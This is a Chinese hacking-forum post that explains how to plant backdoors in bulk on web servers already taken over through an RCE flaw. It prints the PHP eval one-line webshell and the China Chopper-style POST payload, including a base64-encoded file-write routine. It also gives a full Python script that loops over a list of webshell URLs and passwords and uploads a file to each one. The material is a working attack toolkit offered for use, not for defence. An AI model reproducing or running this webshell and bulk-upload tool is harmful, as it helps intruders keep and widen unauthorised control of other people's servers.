黑帽联盟

 找回密码
 会员注册
查看: 1420|回复: 1
打印 上一主题 下一主题

[系统安全] PHP实现批量上传单个文件

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    很多时候当我们通过某个通用型RCE漏洞批量抓取了很多的web后,可能想要批量传个后门以备后用。这时,我们不禁会面临一个问题,使用菜刀一个个上传显得太慢,那么如何快速的实现文件的批量上传呢?本文给大家介绍基于php如何实现这类需求。

    原理分析
    首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。
    下面是最常见的php一句话木马:
    1. <?php eval($_POST[1]); ?>
    复制代码

    当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。
    那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。
    因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:

    POST:
    1. 1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];
    复制代码

    上面代码包含2个部分:
    1. 一句话的密码
    2. 发送给服务器端的php执行代码
    既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话上传文件的功能:
    POST:
    1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh

    仔细分析一下这段POST数据包含以下几个部分:
    1. 首先是php一句话的密码1
    2. 通过eval方法来执行base64解码后的z0,解码整理后显示如下:
    游客,如果您要查看本帖隐藏内容请回复


    3. 在z0中继续调用base64解码后的z1和z2,解码后如下:
    z1=/var/www/root/1.txt
    z2=hello world!

    至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。
    代码实现
    基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:
    1. #!/usr/bin/python
    2. #coding=utf-8
    3. import urllib
    4. import urllib2
    5. import sys
    6. import base64
    7. import re
    8. def post(url, data):
    9.   req = urllib2.Request(url)
    10.   data = urllib.urlencode(data)  
    11.   opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
    12.   response = opener.open(req, data)
    13.   return response.read()
    14. def get_shell_path(posturl,passwd):
    15.   shell_path = ""
    16.   try:
    17.     data = {}
    18.     data[passwd] = '@eval(base64_decode($_POST[z0]));'
    19.     data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
    20.     shell_path = post(posturl, data).strip()
    21.   except Exception:
    22.     pass
    23.   return shell_path
    24. def main():
    25.   print '\n+++++++++Batch Uploading Local File (Only for PHP web)++++++++++\n'
    26.   shellfile = sys.argv[1] # 存放web路径和密码的文件
    27.   localfile = sys.argv[2] # 本地待上传的文件名
    28.   shell_file = open(shellfile,'rb')
    29.   local_content = str(open(localfile,'rb').read())
    30.   for eachline in shell_file:
    31.     posturl = eachline.split(',')[0].strip()
    32.     passwd = eachline.split(',')[1].strip()
    33.     try:
    34.       reg = ".*/([^/]*\.php?)"
    35.       match_shell_name = re.search(reg,eachline)
    36.       if match_shell_name:
    37.         shell_name=match_shell_name.group(1)
    38.         shell_path = get_shell_path(posturl,passwd).strip()
    39.         target_path = shell_path.split(shell_name)[0]+localfile
    40.         target_path_base64 = base64.b64encode(target_path)
    41.         target_file_url = eachline.split(shell_name)[0]+localfile
    42.         data = {}
    43.         data[passwd] = '@eval(base64_decode($_POST[z0]));'
    44.         data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
    45.         data['z1']=target_path_base64
    46.         data['z2']=base64.b64encode(local_content)
    47.         response = post(posturl, data)
    48.         if response:
    49.           print '[+] '+target_file_url+', upload succeed!'
    50.         else:
    51.           print '[-] '+target_file_url+', upload failed!'
    52.       else:
    53.         print '[-] '+posturl+', unsupported web!'
    54.     except Exception,e:
    55.       print '[-] '+posturl+', connection failed!'
    56.   shell_file.close()
    57. if __name__ == '__main__':
    58.   main()
    复制代码

    web.txt的格式: [一句话web文件路径],[web连接密码]如下:
    http://www.example1.com/1.php, 1
    http://www.example2.com/1.php, 1
    http://www.example3.com/1.php, 1

    保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py web.txt 1.txt,效果显示如下:
    1.png


    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    1

    主题

    0

    听众

    345

    积分

    黑帽学员

    Rank: 3Rank: 3

  • TA的每日心情

    2020-1-22 01:58
  • 签到天数: 115 天

    [LV.6]常住居民II

    ··········
    已有 1 人评分黑币 收起 理由
    yun -4 灌水!

    总评分: 黑币 -4   查看全部评分

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部